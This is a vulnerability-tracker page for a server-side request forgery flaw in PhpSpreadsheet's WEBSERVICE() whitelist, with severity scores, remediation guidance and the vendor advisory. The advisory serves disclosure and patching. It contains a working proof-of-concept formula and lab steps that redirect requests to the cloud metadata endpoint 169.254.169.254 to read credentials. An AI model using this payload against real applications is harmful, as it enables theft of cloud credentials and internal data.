Skip to main content

PhpSpreadsheet CVE-2026-59931

| EUVDEUVD-2026-49929 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-23 https://github.com/PHPOffice/PhpSpreadsheet GHSA-6hq5-7373-42rg
7.7
CVSS 3.1 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain upload access to target app
  2. Delivery
    Craft XLSX with WEBSERVICE formula pointing at whitelisted redirect URL
  3. Exploit
    Whitelist validates first host and passes
  4. Execution
    file_get_contents follows 302 to internal/metadata target
  5. Persist
    Read HTTP response body from cell value
  6. Impact
    Exfiltrate cloud credentials or internal data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires all of: the target uses PhpSpreadsheet, calls Spreadsheet::setDomainWhiteList([...]) with at least one domain, and invokes getCalculatedValue() (formula evaluation) on attacker-supplied XLSX files; and the attacker must have or obtain a URL on a whitelisted domain that issues an HTTP 301/302 redirect - an open-redirect endpoint on that domain, a whitelisted domain the attacker controls, or DNS rebinding after the check. Limiting factors: the whitelist feature (5.4.0+) must be enabled and non-trivially populated, the attacker needs upload/file-submission access to the app (authenticated per CVSS PR:L), and impact is read-only (full HTTP body up to 32,767 bytes, no write/RCE). Without a redirect-capable whitelisted host, direct internal URLs are still blocked by the whitelist.

Impact

Signals are moderately but not uniformly severe. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, 7.7) reflects network reach, a scope change into internal systems, and high confidentiality impact with no integrity or availability effect - consistent with a read-only SSRF. No EPSS score, no CISA KEV entry, and no evidence of in-the-wild exploitation were provided, so this is a POC-backed rather than KEV-backed priority. The practical risk is gated by non-default preconditions rather than raw score: the victim app must (a) use PhpSpreadsheet's WEBSERVICE feature, (b) call setDomainWhiteList() with at least one domain, (c) evaluate formulas on attacker-supplied files via getCalculatedValue(), and (d) the whitelisted domain must offer an open redirect or be attacker-controlled. I would rate AC as HIGH rather than the vendor's LOW because the redirect-capable whitelisted domain is a condition outside the attacker's direct control - verify against your own deployment. Where those conditions hold (e.g., cloud-hosted apps with instance metadata at 169.254.169.254), impact is genuinely serious; where WEBSERVICE/whitelisting is unused, real risk is negligible. Net: a real but conditional priority for affected configurations, not a mass-exploitation event.

Exploit ScenarioDerived

An attacker uploads a crafted XLSX whose A1 cell contains =WEBSERVICE("http://trusted-api.example.com/redirect?url=http://169.254.169.254/latest/meta-data/"), where trusted-api.example.com is on the app's whitelist and offers an open redirect. When the app calls getCalculatedValue(), the whitelist passes on the first host, file_get_contents() follows the 302 to the cloud metadata endpoint, and the credential/metadata response is returned as the cell value for the attacker to read. A working PoC and lab reproduction (confirmed on PhpSpreadsheet 5.7.0 / PHP 8.3, validated via Burp Collaborator) are published in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. Publicly available exploit code exists (a full PoC and lab reproduction are in the GitHub advisory); no public exploit identified as actively used in the wild and it is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade phpoffice/phpspreadsheet to 5.8.1 (or 3.10.7, 2.4.7, 2.1.18 for the corresponding older branches) via composer. The fix (commit 7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d) sets follow_location => 0 in the stream context so redirects are no longer followed, and returns NOT_YET_IMPLEMENTED for empty responses. If you cannot patch immediately, the most effective compensating control is to stop calling getCalculatedValue()/formula evaluation on untrusted uploaded spreadsheets, or disable the WEBSERVICE feature/avoid setDomainWhiteList() usage entirely - trade-off: legitimate WEBSERVICE calls will stop resolving. Where formula evaluation must remain, restrict the whitelist to internal domains you fully control that have no open-redirect endpoints, and add egress network controls (block outbound access from the app server to 169.254.169.254 and RFC1918 ranges) to blunt metadata and internal-service reads - trade-off: may break legitimate outbound integrations. Advisory: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg ; patch commit: https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d

Affected VersionsENISA

PhpSpreadsheet 4.0.0, < 5.8.1
PhpSpreadsheet < 1.30.6
PhpSpreadsheet 3.3.0, < 3.10.7
PhpSpreadsheet 2.0.0, < 2.1.18
PhpSpreadsheet 2.2.0, < 2.4.7

Affected Packages

composer phpoffice/phpspreadsheet fix: 1.30.6, 2.1.18, 2.4.7, 3.10.7, 5.8.1
euvd phpspreadsheet fix: 1.30.6, 2.1.18, 2.4.7, 3.10.7, 5.8.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw lives in Calculation/Web/Service.php, which implements the spreadsheet WEBSERVICE() formula. The intended control (PR #4751, shipped in 5.4.0) parses the target URL with parse_url() and checks the host against an allow-list configured via Spreadsheet::setDomainWhiteList(). The problem is a classic CWE-918 (SSRF): the allow-list is a time-of-check control on the first hop only, while PHP's HTTP stream wrapper (used by file_get_contents with a stream context that omits follow_location) defaults to following up to 20 redirects. The redirect Location target is never re-parsed or re-checked, so a whitelisted host that returns a 3xx redirect becomes an SSRF proxy. A secondary weakness compounds it: the check uses only the hostname and ignores the port, so whitelisting example.com authorizes every port on that host, enabling internal port scanning. Affected packages are all the composer/phpoffice/phpspreadsheet distribution (pkg:composer/phpoffice_phpspreadsheet). This is distinct from prior PhpSpreadsheet SSRFs (CVE-2024-45290/45291, CVE-2025-54370), which were in the Drawing/image-loading path, not the calculation engine.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI 6.3 MEDIUM

Needs a redirect-capable whitelisted domain outside attacker control (AC:H) and authenticated file upload (PR:L); read-only SSRF pivoting to internal systems gives S:C and C:H, no I/A impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

php
$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

php
// Whitelist check - runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request - follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
xml
<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
  • Validates whitelisted-domain.com against the whitelist - passes
  • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
  • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ - no re-validation
  • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

bash
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access - BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain - BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF - the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios:

  • Whitelisted domain has an open redirect vulnerability
  • Attacker controls the whitelisted domain (e.g., a free-tier API service)
  • DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

php
$ctxArray = [
    'http' => [
        'user_agent' => '...',
        'follow_location' => false,
        'max_redirects' => 0,
    ],
];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.

---

Executive ViewAI

Why It Matters

PHPOffice PhpSpreadsheet, a widely-deployed library for processing spreadsheet files, contains a server-side request forgery (SSRF) vulnerability with publicly available exploit code that allows attackers to bypass security controls through malicious file uploads and access internal systems or sensitive data. The vulnerability affects versions 2.0.0 through 5.8.0, potentially impacting any organization using this library to process user-supplied spreadsheets. Organizations must patch immediately to prevent unauthorized access to internal resources and data exfiltration.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 58% exploitable
Prevalence
High
very widely used PHP spreadsheet library in composer ecosystems
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy